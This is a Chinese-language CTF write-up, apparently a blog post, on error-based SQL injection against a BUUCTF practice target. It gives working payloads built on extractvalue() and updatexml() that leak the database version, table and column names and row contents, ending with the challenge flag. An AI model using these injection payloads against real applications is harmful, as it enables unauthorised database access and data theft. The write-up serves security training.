【Web方向】 1-2 SQL injection实例02_报错注入


题目靶机来自buuctf第二周web方向注入题,经过我的测试,发现之前的union联合注入不管用了,这里要用到报错注入
在这里插入图片描述
union注入抓不到有效数据:
在这里插入图片描述

一、判断是否符合用extractvalue()报错注入

先假设可以报错注入,先草草抓一下version()的数据,下面进行小小的注入调试。
注入姿势:id=' and(select extractvalue(1,concat('~',(select version()))))#
在这里插入图片描述

说明

上图中系统回应的XPATH syntax error: '~10.1.47-MariaDB-0ubuntu0.18.04.'说明了报错注入的可行性,接下来可以故意让系统报错,并且将查询结果放在报错信息里,以XPATH syntax error: '信息'的形式爆出来,从而查看数据库中信息。

二、开始注入

1)扒取表名table_name

注入姿势:' and extractvalue(1,concat('~',select group_concat(table_name)from information_schema.tables where table_schema=database()))#
这里和之前union注入一样套路,从database()这个数据库中扒出information_schema里面的表名,效果如下:
在这里插入图片描述

2)查询列名

注入姿势:' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema=database())))#
在这里插入图片描述

3)查看文本

注入姿势:' and extractvalue(1,concat('~',(select group_concat(text) from wfy_comments)))#
结果如图:

在这里插入图片描述
这里可以看到文本不能全部输出,这里划重点,知识点来了

知识点

当数据表中有大量数据时,一次性查询出表中的全部数据会降低数据返回的速度,同时给数据库服务器造成很大的压力。这时就可以用 LIMIT 关键字来限制查询结果返回的条数。
LIMIT函数原型:limit 初始值,记录值
用到注入中就是:select <列名>,<列名>,...from <表名> limit <初始值>,<记录值>——检索从第<初始值>条开始,累加并显示<记录值>条id记录;
注入姿势:' and extractvalue(1,concat('~',(select text from wfy_comments limit 0,1)))#——检索第一行并单行输出
在这里插入图片描述

注意!
分行输出时前面不要用group_concat()了,否则所有文本拼成一行,用limit也无用啦!

4)查询目标行

在这里插入图片描述
最终抓出来XPATH syntax error: '~flag{Ju4t_m2ke_some_err0rs}'即为本题答案。

三、判断是否符合用updatexml()报错注入

说明

和extractvalue()报错一样,先假设可以报错注入,先草草抓一下version()的数据,下面进行小小的注入调试。
注入姿势:id=' and(select updatexml(1,concat('~',(select version())),2))#
在这里插入图片描述
以下updatexml()报错基本和extractvalue()报错一致,按照以上步骤操作即可,两种方法可根据实际情况使用。

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值